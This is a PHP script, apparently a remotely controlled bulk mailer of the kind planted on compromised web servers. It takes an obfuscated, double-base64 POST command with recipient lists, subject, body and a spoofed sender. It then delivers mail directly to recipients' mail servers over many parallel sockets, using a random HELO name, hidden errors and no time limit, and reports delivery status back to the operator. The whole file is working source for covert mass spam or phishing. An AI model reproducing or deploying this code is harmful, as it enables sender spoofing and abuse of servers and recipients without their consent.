

foreach ($_POST as $key => $value){
  $h = base64_decode(base64_decode($value));
}

$fr = explode('|', $h);

$TT_To_Address = stripslashes(base64_decode($fr[0]));

$TT_Subject = stripslashes(base64_decode($fr[1]));
$TT_Body = stripslashes(base64_decode($fr[2]));
$TT_From_Name = stripslashes(base64_decode($fr[3]));
$TT_From_Address = stripslashes(base64_decode($fr[4]));


//echo  'reeesssspooonnnnseeee ' . $TT_To_Address . '  !!!! ' . $TT_Subject  . '  !!!! ' .  $TT_Body  . '  !!!! ' . $TT_From_Name . '  !!!! ' . $TT_From_Address;
//exit;





//set_time_limit ( 666000 );
@ignore_user_abort (true);

function random_string($length) {
    $key = '';
    $keys = range('a', 'z');

    for ($i = 0; $i < $length; $i++) {
        $key .= $keys[array_rand($keys)];
    }

    return $key;
}





define('CFG_NUM_SOCKETS', 17);
define('CFG_SOCK_TIMEOUT', 30);
define('CFG_SOCK_WORK_TIME', 120);
define('SMTP_STATE_UNDEF', 0);
define('SMTP_STATE_CONNECT', 1);
define('SMTP_STATE_HELO', 2);
define('SMTP_STATE_MAIL_FROM', 3);
define('SMTP_STATE_RCPT_TO', 4);
define('SMTP_STATE_DATA', 5);
define('SMTP_STATE_CONTENT', 6);
define('SMTP_STATE_QUIT', 7);
define('SMTP_STATUS_UNDEF', 0);
define('SMTP_STATUS_LUCKY', 1);
define('SMTP_STATUS_UNLUCKY', 2);
define('MAIL_STATUS_UNDEFINED', 0);
define('MAIL_STATUS_PROCESSING', 1);
define('MAIL_STATUS_LUCKY', 2);
define('MAIL_STATUS_UNLUCKY_TIMEOUT', 3);
define('MAIL_STATUS_UNLUCKY_CONNECT', 4);
define('MAIL_STATUS_UNLUCKY_HELO', 5);
define('MAIL_STATUS_UNLUCKY_MAIL_FROM', 6);
define('MAIL_STATUS_UNLUCKY_RCPT_TO', 7);
define('MAIL_STATUS_UNLUCKY_DATA', 8);
define('MAIL_STATUS_UNLUCKY_CONTENT', 9);
define('PHP_QPRINT_MAXL', 75);
define('SOCKS_ERROR_SUCCESS', 0);
define('SOCKS_ERROR_FAILED', 1);
define('SOCKS_ERROR_TIMEOUT', 2);
define('DS_Undef', 0);
define('DS_Send', 1);
define('DS_Recv', 2);
define('DR_Undef', 0);
define('DR_Send', 1);
define('DR_Recv', 2);
define('DR_Timeout', 3);
define('DR_Close', 4);
define('DR_Error', 5);
$g_aOpData       = array();
$g_aMailData     = array();
$g_iLockedOps    = 0;
$g_iFreeMails    = 0;
$g_sMailHeader   = '';
$g_sMailSubject  = '';
$g_sMailBody     = '';
$g_sMailHelo     = '';




$g_bDbgResps     = 0;





function Mail_InitData()
{
  global $g_sMailHeader, $g_sMailSubject, $g_sMailBody;
  
  // Files

$mh = 
'Return-Path: <%BI_FROM_ADDR%>' . PHP_EOL .
'Message-ID: %BI_MESSAGE_ID%' . PHP_EOL .
'From: %BI_FROM_NAME% <%BI_FROM_ADDR%>' . PHP_EOL .
'Reply-To: <%BI_FROM_ADDR%>' . PHP_EOL .
'Subject: %BI_SUBJECT%' . PHP_EOL .
'Date: %BI_DATE%' . PHP_EOL .
'MIME-Version: 1.0' . PHP_EOL .
'Content-Transfer-Encoding: quoted-printable' . PHP_EOL .
'Content-Type: text/plain; charset="UTF-8"' . PHP_EOL .
'' . PHP_EOL .
'%BI_BODY%';



//was
//$mh = 'Message-ID: %BI_MESSAGE_ID%' . PHP_EOL .
//'From: %BI_FROM_NAME% <%BI_FROM_ADDR%>' . PHP_EOL .
//'To: %BI_TO_ADDR%' . PHP_EOL .
//'Subject: %BI_SUBJECT%' . PHP_EOL .
//'Date: %BI_DATE%' . PHP_EOL .
//'MIME-Version: 1.0' . PHP_EOL .
//'Content-Transfer-Encoding: quoted-printable' . PHP_EOL .
//'Content-Type: text/plain; charset="UTF-8"' . PHP_EOL .
//'' . PHP_EOL .
//'%BI_BODY%';

//was
//$mh = 'Message-ID: %BI_MESSAGE_ID%' . PHP_EOL .
//'From: "%BI_FROM_NAME%" <%BI_FROM_ADDR%>' . PHP_EOL .
//'To: %BI_TO_ADDR%' . PHP_EOL .
//'Subject: %BI_SUBJECT%' . PHP_EOL .
//'Date: %BI_DATE%' . PHP_EOL .
//'MIME-Version: 1.0' . PHP_EOL .
//'Content-Transfer-Encoding: quoted-printable' . PHP_EOL .
//'Content-Type: text/plain; charset="UTF-8"' . PHP_EOL .
//'' . PHP_EOL .
//'%BI_BODY%';


$g_sMailHeader  = $mh;


}

function Mail_MessageId($domain)
{
  $gr1 = sprintf("%03d", rand() % 10);
  $gr2 = sprintf("%01X", rand() % 16);
  $gr3 = sprintf("%04X", rand() % 65536);
  $gr4 = sprintf("%04X", rand() % 65536);
  $gr5 = sprintf("%04X", rand() % 65536);
  $gr6 = sprintf("%04X", rand() % 65536);
  $gr7 = sprintf("%04X", rand() % 65536);

  $messageId = $gr1.strtolower($gr2).'01c4'.strtolower($gr3).'\$'.
    strtolower($gr4).strtolower($gr5).'\$'.strtolower($gr6).strtolower($gr7).'@'.$domain;

  $boundary  = '----=_NextPart_000_'.$gr1.(sprintf("%01X", rand() % 16)).'_01C4'.$gr7.'.'.$gr6.$gr5;

  return array($messageId, $boundary);
}

function ecnquoted($str)
{
  $lp = 0;
  $ret = '';
  $hex = "0123456789ABCDEF";
  $length = strlen($str);
  $index = 0;
   
  while($length--)
  {
    if((($c = $str[$index++]) == "\015") && ($str[$index] == "\012") && $length > 0)
    {
      $ret .= "\015";
      $ret .= $str[$index++];
      $length--;
      $lp = 0;
    }
    else
    {
      if(ctype_cntrl($c) || (ord($c) == 0x7f) || (ord($c) & 0x80) || ($c == '=')
        || (($c == ' ') && ($str[$index] == "\015")))
      {
        if(($lp += 3) > PHP_QPRINT_MAXL)
        {
          $ret .= '=';
          $ret .= "\015";
          $ret .= "\012";
          $lp = 3;
        }
        $ret .= '=';
        $ret .= $hex[ord($c) >> 4];
        $ret .= $hex[ord($c) & 0xf];
      }
      else
      {
        if((++$lp) > PHP_QPRINT_MAXL)
        {
          $ret .= '=';
          $ret .= "\015";
          $ret .= "\012";
          $lp = 1;
        }
        $ret .= $c;
      }
    }
  }

  return $ret;
}

function Mail_Generate(&$header, $mailTo, $fromName, $fromAddr)
{
  global $g_sMailHeader, $g_sMailSubject, $g_sMailBody;

  global $TT_Subject;
  global $TT_Body;
  
  
  $date      = date("D, j M Y H:i:s O");


  $subject = $TT_Subject;
  $body = $TT_Body;


  $body      = ecnquoted($body);
  $body      = preg_replace('/\r\n\.\r\n/', "\r\n..\r\n", $body);
  
  list($messageId, $boundary) = Mail_MessageId($fromAddr);

  $header = $g_sMailHeader;
  
  // Standard macros
  $header = preg_replace('/%BI_DATE%/', $date, $header);
  $header = preg_replace('/%BI_TO_ADDR%/', $mailTo, $header);
  $header = preg_replace('/%BI_MESSAGE_ID%/', $messageId, $header);
  $header = preg_replace('/%BI_SUBJECT%/', $subject, $header);
  $header = preg_replace('/%BI_FROM_NAME%/', $fromName, $header);
  $header = preg_replace('/%BI_FROM_ADDR%/', $fromAddr, $header);
  $header = preg_replace('/%BI_BODY%/', $body, $header);
  
  $header .= "\r\n.\r\n";
}




function Worker_GetSmtpStatus($state, $code)
{
  switch($state)
  {
    case SMTP_STATE_CONNECT:
      if($code == 220)
        return SMTP_STATUS_LUCKY;
      break;

    case SMTP_STATE_HELO:
      if($code == 250)
        return SMTP_STATUS_LUCKY;
      break;

    case SMTP_STATE_MAIL_FROM:
      if($code == 250)
        return SMTP_STATUS_LUCKY;
      break;

    case SMTP_STATE_RCPT_TO:
      if($code == 250)
        return SMTP_STATUS_LUCKY;
      if($code == 251)
        return SMTP_STATUS_LUCKY;
      break;

    case SMTP_STATE_DATA:
      if($code == 354)
        return SMTP_STATUS_LUCKY;
      break;

    case SMTP_STATE_CONTENT:
      if($code == 250)
        return SMTP_STATUS_LUCKY;
      break;

    case SMTP_STATE_QUIT:
      if($code == 221)
        return SMTP_STATUS_LUCKY;
      break;
  }

  return SMTP_STATUS_UNLUCKY;
}


function Worker_InitData()
{
  global $g_aMailData;
  global $g_iFreeMails;
  global $g_aOpData;
  global $g_sMailHelo;
  global $TT_To_Address;



  $data = array('server'    => 0,
                'mail'      => '',
                'status'    => MAIL_STATUS_UNDEFINED);
  $mails = explode("~", $TT_To_Address);
//echo  $TT_To_Address;
  for($i = 0; $i < count($mails); ++$i)
  {
    $parts = explode(":", $mails[$i]);

    $data['server'] = $parts[0];
//echo  '  ' .  $data['server'] . '  ';

    $data['mail']   = $parts[1];
//echo  '  ' .  $data['mail'] . '  ';
    $data['index']  = 
    $g_aMailData[] = $data;
    ++$g_iFreeMails;
  }
 // $g_sMailHelo = $_POST['helo'];
    $g_sMailHelo = random_string(8);
//    $g_sMailHelo = $_SERVER['SERVER_NAME'];

  

  $data = array('socket'     => NULL,
                'sendBuffer' => '',
                'recvBuffer' => '',
                'letter'     => '',
                'mailIndex'  => 0,
                'smtpState'  => SMTP_STATE_UNDEF,
                'dataState'  => DS_Undef,
                'response'   => '',
                'startTime'  => time(),
                'lastTime'   => 0);
  for($i = 0; $i < CFG_NUM_SOCKETS; ++$i)
  {
    $data['index'] = $i;
    $g_aOpData[] = $data;
  }
}


function Worker_GetMail()
{
  global $g_aMailData;
  for($i = 0; $i < count($g_aMailData); ++$i)
  {
    $mail = &$g_aMailData[$i];
    if($mail['status'] == MAIL_STATUS_UNDEFINED)
    {
      $mail['status'] = MAIL_STATUS_PROCESSING;
      return array($i, $mail['server']);
    }
  }
  return array(-1, 0);
}

function Worker_PutMail($index, $status)
{
  global $g_aMailData;
  global $g_iFreeMails;
  global $g_iLockedOps;
  
  $mail = &$g_aMailData[$index];
  if($mail['status'] == MAIL_STATUS_PROCESSING)
  {
    $mail['status'] = $status;
    --$g_iFreeMails;
  }
}


function Worker_SetStates(&$opData, $smtpState, $dataState)
{
  $opData['smtpState']  = $smtpState;
  $opData['dataState']  = $dataState;
}

function Worker_SendHelo(&$opData)
{
  global $g_sMailHelo;
  Worker_SetStates($opData, SMTP_STATE_HELO, DS_Send);

  $opData['sendBuffer']  = "EHLO ";
  $opData['sendBuffer'] .= $g_sMailHelo;
  $opData['sendBuffer'] .= "\r\n";
  
  return DR_Send;
}

function Worker_SendMailFrom(&$opData)
{
  global $g_aMailData;
  global $TT_From_Name;
  global $TT_From_Address;

  $mail = &$g_aMailData[$opData['mailIndex']];

$fromName = $TT_From_Name;
$fromAddr = $TT_From_Address;

//echo  $fromName . ' # ' . $fromAddr;

Mail_Generate($opData['letter'], $mail['mail'], $fromName, $fromAddr);


  Worker_SetStates($opData, SMTP_STATE_MAIL_FROM, DS_Send);
  $opData['sendBuffer']  = "MAIL FROM:<";
  $opData['sendBuffer'] .= $fromAddr;
  $opData['sendBuffer'] .= ">\r\n";

  return DR_Send;
}

function Worker_SendQuit(&$opData, $mailStatus)
{
  Worker_SetStates($opData, SMTP_STATE_QUIT, DS_Send);
  $opData['sendBuffer']  = "QUIT\r\n";
  $opData['sendSize']    = strlen($opData['sendBuffer']);
  Worker_PutMail($opData['mailIndex'], $mailStatus);
  return DR_Send;
}


function Worker_DispatchConnect(&$opData, $state)
{
  Worker_SetStates($opData, SMTP_STATE_CONNECT, DS_Recv);
  return DR_Recv;
}

function Worker_DispatchSend(&$opData)
{
  $smtpState = $opData['smtpState'];
  if($smtpState == SMTP_STATE_HELO)
    Worker_SetStates($opData, SMTP_STATE_HELO, DR_Recv);
  else if($smtpState == SMTP_STATE_MAIL_FROM)
    Worker_SetStates($opData, SMTP_STATE_MAIL_FROM, DR_Recv);
  else if($smtpState == SMTP_STATE_RCPT_TO)
    Worker_SetStates($opData, SMTP_STATE_RCPT_TO, DR_Recv);
  else if($smtpState == SMTP_STATE_DATA)
    Worker_SetStates($opData, SMTP_STATE_DATA, DR_Recv);
  else if($smtpState == SMTP_STATE_CONTENT)
    Worker_SetStates($opData, SMTP_STATE_CONTENT, DR_Recv);
  else if($smtpState == SMTP_STATE_QUIT)
    Worker_SetStates($opData, SMTP_STATE_QUIT, DR_Recv);
  return DR_Recv;
}


function Worker_GetReplyCode($respose)
{
  $reply = 0;
  $lines = explode("\r\n", $respose);
  $numLines = count($lines);
  if($numLines >= 2)
  {
    // Chech "\r\n" at the end
    if($lines[$numLines - 1] != '')
      return $reply;
    
    // Get reply
    if(preg_match('/^(\d\d\d)$/', $lines[$numLines - 2], $matches))
      $reply = (int)$matches[0];
    else if(preg_match('/^(\d\d\d) .*/', $lines[$numLines - 2], $matches))
      $reply = (int)$matches[0];
  }
  return $reply;
}

function Worker_DispatchRecv(&$opData)
{
  global $g_aMailData, $g_bDbgResps;
  
  // Server reply
  $reply = Worker_GetReplyCode($opData['recvBuffer']);
  if($reply == 0)
    return DR_Recv;

  $status = DR_Error;
  $smtpState  = $opData['smtpState'];
  $smtpStatus = Worker_GetSmtpStatus($smtpState, $reply);

  if($g_bDbgResps && $smtpState != SMTP_STATE_QUIT)
  {
    global $g_aMailData;
    $mail = &$g_aMailData[$opData['mailIndex']];
    $mail['response'] = $opData['recvBuffer'];
  }
 
  // SMTP_STATE_CONNECT
  if($smtpState == SMTP_STATE_CONNECT)
  {
    // LUCKY       - Goto next state
    // UNLUCKY     - On all session mails
    if($smtpStatus == SMTP_STATUS_LUCKY)
      $status = Worker_SendHelo($opData);
    else
      $status = Worker_SendQuit($opData, MAIL_STATUS_UNLUCKY_CONNECT);
  }
  // SMTP_STATE_HELO
  else if($smtpState == SMTP_STATE_HELO)
  {
    // LUCKY       - Goto next state
    // UNLUCKY     - On all session mails
    if($smtpStatus == SMTP_STATUS_LUCKY)
      $status = Worker_SendMailFrom($opData);
    else
      $status = Worker_SendQuit($opData, MAIL_STATUS_UNLUCKY_HELO);
  }
  // BSM_SESSION_STATE_MAIL_FROM
  else if($smtpState == SMTP_STATE_MAIL_FROM)
  {
    // LUCKY       - Goto next state
    // UNLUCKY     - Change from
    if($smtpStatus == SMTP_STATUS_LUCKY)
    {
      Worker_SetStates($opData, SMTP_STATE_RCPT_TO, DS_Send);
      $mail = &$g_aMailData[$opData['mailIndex']];
      $opData['sendBuffer']  = "RCPT TO:<";
      $opData['sendBuffer'] .= $mail['mail'];
      $opData['sendBuffer'] .= ">\r\n";
      $opData['sendSize']    = strlen($opData['sendBuffer']);
      $status = DR_Send;
    }
    else
      $status = Worker_SendQuit($opData, MAIL_STATUS_UNLUCKY_MAIL_FROM);
  }
  // BSM_SESSION_STATE_RCPT_TO
  else if($smtpState == SMTP_STATE_RCPT_TO)
  {
    // LUCKY       - Goto next state
    // UNLUCKY     - No user - RSET
    if($smtpStatus == SMTP_STATUS_LUCKY)
    {
      Worker_SetStates($opData, SMTP_STATE_DATA, DS_Send);
      $opData['sendBuffer']  = "DATA\r\n";
      $opData['sendSize']    = strlen($opData['sendBuffer']);
      $status = DR_Send;
    }
    else
      $status = Worker_SendQuit($opData, MAIL_STATUS_UNLUCKY_RCPT_TO);
  }
  // BSM_SESSION_STATE_DATA
  else if($smtpState == SMTP_STATE_DATA)
  {
    // LUCKY       - Goto next state
    // UNLUCKY     - No delivered - RSET
    if($smtpStatus == SMTP_STATUS_LUCKY)
    {
      Worker_SetStates($opData, SMTP_STATE_CONTENT, DS_Send);
      $opData['sendBuffer']  = $opData['letter'];
      $opData['sendSize']    = strlen($opData['sendBuffer']);
      $status = DR_Send;
    }
    else
      $status = Worker_SendQuit($opData, MAIL_STATUS_UNLUCKY_DATA);
  }
  // SMTP_STATE_CONTENT
  else if($smtpState == SMTP_STATE_CONTENT)
  {
    // LUCKY       - Goto next state
    // UNLUCKY     - No user - RSET
    if($smtpStatus == SMTP_STATUS_LUCKY)
      $status = Worker_SendQuit($opData, MAIL_STATUS_LUCKY);
     else
       $status = Worker_SendQuit($opData, MAIL_STATUS_UNLUCKY_CONTENT);
  }
  // BSM_SESSION_STATE_QUIT
  else if($smtpState == SMTP_STATE_QUIT)
  {
    $status = DR_Close;
  }
  
  $opData['recvBuffer'] = '';

  return $status;
}


function Worker_IsIoPending($res)
{
  $err = socket_last_error();
  if($res == FALSE && $err = 10035)
    return TRUE;
  return $res;
}


function Worker_OnSelect(&$opData)
{
  global $g_iLockedOps;
  
  $result    = DR_Undef;
  $socket    = $opData['socket'];
  $dataState = $opData['dataState'];
  
  //                                                                        
  // IO                                                                     
  //                                                                        
  if($dataState == DR_Send)
  {
    $buffer = &$opData['sendBuffer'];
    $res = @socket_send($socket, $buffer, strlen($buffer), 0);
    if(Worker_IsIoPending($res) == FALSE)
       $result = DR_Error;
     $opData['lastTime'] = time();
  }
  else if($dataState == DR_Recv)
  {
    $buffer = '';    
    $res = @socket_recv($socket, $buffer, 4096, 0);
    if(Worker_IsIoPending($res) == FALSE)
      $result = DR_Error;
    if($buffer == NULL)
      $result = DR_Error;
    $opData['recvBuffer'] .= $buffer;
    $opData['lastTime'] = time();
  }
  else if($dataState == DR_Timeout)
  {
    $result = DR_Error;
  }
  
  //                                                                        
  // Dispatch                                                               
  //                                                                        
  if($result == DR_Undef)
  {
    // Send
    if($dataState == DR_Send)
      $result = Worker_DispatchSend($opData);
    // Receive
    else if($dataState == DR_Recv)
      $result = Worker_DispatchRecv($opData);
  }
  
  if($result == DR_Close || $result == DR_Error)
  {
    if($opData['socket'])
      --$g_iLockedOps;
    @socket_close($socket);
    $opData['socket'] = NULL;
    if($result == DR_Error)
      Worker_PutMail($opData['mailIndex'], MAIL_STATUS_UNLUCKY_TIMEOUT);
  }

  // SendMails
  Worker_SendMails();
}


function Worker_FindFreeSocket()
{
  global $g_aOpData;
  for($i = 0; $i < CFG_NUM_SOCKETS; ++$i)
  {
    $opData = &$g_aOpData[$i];
    if($opData['socket'] == NULL)
      return $i;
  }
  return -1;
}

function Worker_SendMail()
{
  global $g_aOpData;
  global $g_iLockedOps;
    
  $index = Worker_FindFreeSocket();
  if($index != -1)
  {
    $opData = &$g_aOpData[$index];
    list($mailIndex, $mailServer) = Worker_GetMail($opData);
    if($mailIndex != -1)
    {
      $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
      if($socket)
      {
        socket_set_nonblock($socket);
        $opData['mailIndex'] = $mailIndex;
        
        $res = @socket_connect($socket, long2ip($mailServer), 25);
        if(Worker_IsIoPending($res) == TRUE)
        {
          ++$g_iLockedOps;
          $opData['socket'] = $socket;
          $opData['lastTime'] = time();
          Worker_SetStates($opData, SMTP_STATE_CONNECT, DS_Recv);
          return TRUE;
        }
        else
        {
          Worker_PutMail($mailIndex, MAIL_STATUS_UNLUCKY_TIMEOUT);
          @socket_close($socket);
        }
      }
    }
  }
  
  return FALSE;
}

function Worker_SendMails()
{
  $numMails = 0;
  while(Worker_SendMail())
    ++$numMails;
  return $numMails;
  
}


function Worker_CheckTimeouts($lastTime)
{
  global $g_aOpData;
  for($i = 0; $i < count($g_aOpData); ++$i)
  {
    $opData = &$g_aOpData[$i];
    if($opData['socket'] != NULL)
    {
      $lastTime = $lastTime - $opData['lastTime'];
      $workTime = $lastTime - $opData['startTime'];
      if($lastTime >= CFG_SOCK_TIMEOUT || $workTime >= CFG_SOCK_WORK_TIME)
      {
        $opData['dataState'] = DR_Timeout;
        Worker_OnSelect($opData);
      }
    }
  }
}


function &Worker_GetOpData($s)
{
  global $g_aOpData;
  for($i = 0; $i < count($g_aOpData); ++$i)
  {
    $opData = &$g_aOpData[$i];
    if($opData['socket'] == $s)
      return $opData;
  }
  return NULL;
}

function DoJob()
{
  global $g_aOpData;
  global $g_iLockedOps;
  global $g_iFreeMails;
        
  // Event cycle
  while($g_iLockedOps || $g_iFreeMails)
  {
    $read   = array();
    $write  = array();
    $except = NULL;
        
    // Fill arrays
    for($i = 0; $i < CFG_NUM_SOCKETS; ++$i)
    {
      $opData = &$g_aOpData[$i];
      if($opData['socket'] != NULL)
      {
        if($opData['dataState'] == DS_Recv)
          $read[] = $opData['socket'];
        else if($opData['dataState'] == DS_Send)
          $write[] = $opData['socket'];
      }
    }
    
    // Events
    $num = @socket_select($read, $write, $except, 10);
    if($num)
    {      
      for($i = 0; $i < sizeof($read); ++$i)
      {
        $opData = &Worker_GetOpData($read[$i]);
        Worker_OnSelect($opData);
      }
      for($i = 0; $i < sizeof($write); ++$i)
      {
        $opData = &Worker_GetOpData($write[$i]);
        Worker_OnSelect($opData);
      }
    }
    
    // Timeouts
    Worker_CheckTimeouts(time());
  }
}


function StartJob()
{
  // Init
  Worker_InitData();
  
  // SendMails
  Worker_SendMails();
}

function StopJob()
{
  global $g_aMailData, $g_bDbgResps;

  $stats = 'done:';
  for($i = 0; $i < count($g_aMailData); ++$i)
  {
    $mail = &$g_aMailData[$i];
    $stats .= (0 + $mail['status']);
    if($g_bDbgResps)
    {
      if(strlen($mail['response']) > 99)
         $mail['response'] = substr($mail['response'], 0, 99);
      $stats .= sprintf("%02d", strlen($mail['response']));
      $stats .= $mail['response'];
    }
  }
  echo($stats);
}

function ShowPreview()
{
  $letter = '';


  //Mail_Generate($letter, 'jjkj', $fromName, $fromAddr);


  echo($letter);
}


function LoadExtension($ext)
{
  $lib = $ext.'.so';
  if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')
    $lib = 'php_'.$ext.'.dll';
  
  if(!extension_loaded($ext))
  {
    if(!dl($lib))
      return FALSE;
  }
  return TRUE;
}

function Work()
{
  global $g_bDbgResps;
  global $TT_To_Address;


  set_time_limit(0);
  ini_set('display_errors', '0');
  LoadExtension('sockets');



  // debug
 // $g_bDbgResps = $_POST['dbgResps'];
  
 
  Mail_InitData();  


 if(isset($TT_To_Address))
//  if(1==1)
  {
    StartJob();
    DoJob();
    StopJob();
  }
  else
  {
    ShowPreview();
  }

}


Work();
